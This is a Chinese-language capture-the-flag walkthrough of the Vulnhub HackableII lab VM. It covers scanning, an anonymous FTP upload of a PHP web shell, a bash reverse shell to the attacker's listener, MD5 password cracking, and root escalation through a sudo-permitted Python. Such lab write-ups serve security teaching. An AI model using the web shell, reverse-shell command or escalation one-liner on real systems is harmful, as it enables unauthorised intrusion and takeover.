Bootstrap

Vulnhub靶场案例渗透[8]- HackableII

一、靶场搭建

1. 靶场描述

difficulty: easy
This works better with VirtualBox rather than VMware

难度为容易的靶场

2. 下载靶机环境

靶场源地址点击跳转,点击图中标注处下载靶场源文件。

image.png

下载完成的文件如下:

image.png

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.


# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath

3. 靶场搭建

使用VMware打开对应的ova文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT模式,然后点击启动就行。

image.png

二、渗透靶场

1. 确定靶机IP

确定靶机IP的步骤:

  1. 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
  2. nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24

image.png

通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为192.168.37.129.

2. 探测靶场开放端口及对应服务

探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。

# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.129

结果图:
image.png

可以确认主机开放了8022以及21端口,分别对应http服务和ssh服务和ftp服务,以及http后台使用的PHP作为后台语言,并且ftp支持匿名登录。到这里直接通过浏览器访问对应web服务。

image.png

3. 扫描网络目录结构

通过dirsearch扫描对应网站的目录结构,看是否能在其中找到什么敏感文件或目录。

# 扫描目录结构命令
sudo dirsearch -u http://192.168.37.129 -x 404

image.png

发现dirsearch扫描files目录,推测应该是ftp服务文件上传保存位置。

4. ftp文件上传漏洞

通过ftp匿名登录上传一个一句话木马php代码,看文件保存路径是否是/files下。

ftp 192.168.37.129
登录用户名:anonymous
登录密码: [email protected]

# 上传木马php文件
put test.php
// 一句话木马pho代码内容
<?php
   echo $_GET["cmd"];
   system($_GET["cmd"]);
?>

上传php代码之后,发现通过http服务可以直接访问到上传的test.php文件。

image.png

5. 反弹shell

利用直接上传的php文件,尝试远程执行执行一段命令,看是否可以正常执行。这里选用ls遍历目录文件,发现可以执行成功,接下来利用一句话木马,进行反弹shell。

image.png

反弹shell的命令为bash -c "bash -i >& /dev/tcp/$TARGET_IP/$TARGET_PORT 0>&1",这段命令要设置成url参数需要进行urlencode编码,下面提供一个urlencode编码的代码。

import urllib.parse
import sys
import file_util
def urlencode_string(content):
    '''
    url编码
    :param content:
    :return:
    '''
    if content:
        return urllib.parse.quote(content, safe="")

def urldecode_string(content):
    '''
    url编码还原
    :param content:
    :return:
    '''
    if content:
        return urllib.parse.unquote(content)


if __name__ == "__main__":

    if len(sys.argv) != 2:
        print("Usage: python *.py filepath")
        sys.exit(0)
    file_path = sys.argv[1]
    content = file_util.get_file_content(file_path)
    if not content:
        print("file don't have content")
        sys.exit(0)
    print(urlencode_string(content))

# 反弹sehll设置参数
/bin/bash -c "bash -i >& /dev/tcp/192.168.37.22/8888 0>&1"
# 攻击机kaili执行
nc -lvp 8888

成功获取到反弹shell。

image.png

6. 提权

获取到反向shell之后,使用这段python代码之后,创建一个交互性强的伪终端。

python3 -c 'import pty; pty.spawn("/bin/bash")'

获取到shell之后,发现/home目录下有一个important.txt文件进行了提示,下图就是提示文件内容。

image.png

按照提示内容,直接执行,/.runme.sh的脚本。发现打印的内容出现shrek的密码,看密码的形式应该是使用md5加密的。接下来就是进行通过撞库还原密码。

image.png

还原密码的方式:一通过john等暴力破解方式进行枚举暴力,需要花费大量时间。二找到彩虹表之类的库直接进行比较查询,速度快。这次选用一个在线网站进行还原点击跳转,获取到密码的明文为onion.

image.png

获取到密码之后直接使用ssh方式连接到目标主机.获取shrek身份的shell,并且获取到shrek用户目录下的user.txt

image.png

接下来执行sudo -l发现可以直接sudo 进行提权。shrek可以以root身份免密执行/usr/bin/python.3.5。接下来编写生成一个新的终端python代码,就可以提权到root身份了。

image.png

sudo /usr/bin/python3.5 -c "import os;os.system('/bin/bash')"

执行python代码之后,成功获取到root的权限,以及root下面的flag内容。

image.png

悦读

道可道,非常道;名可名,非常名。 无名,天地之始,有名,万物之母。 故常无欲,以观其妙,常有欲,以观其徼。 此两者,同出而异名,同谓之玄,玄之又玄,众妙之门。

;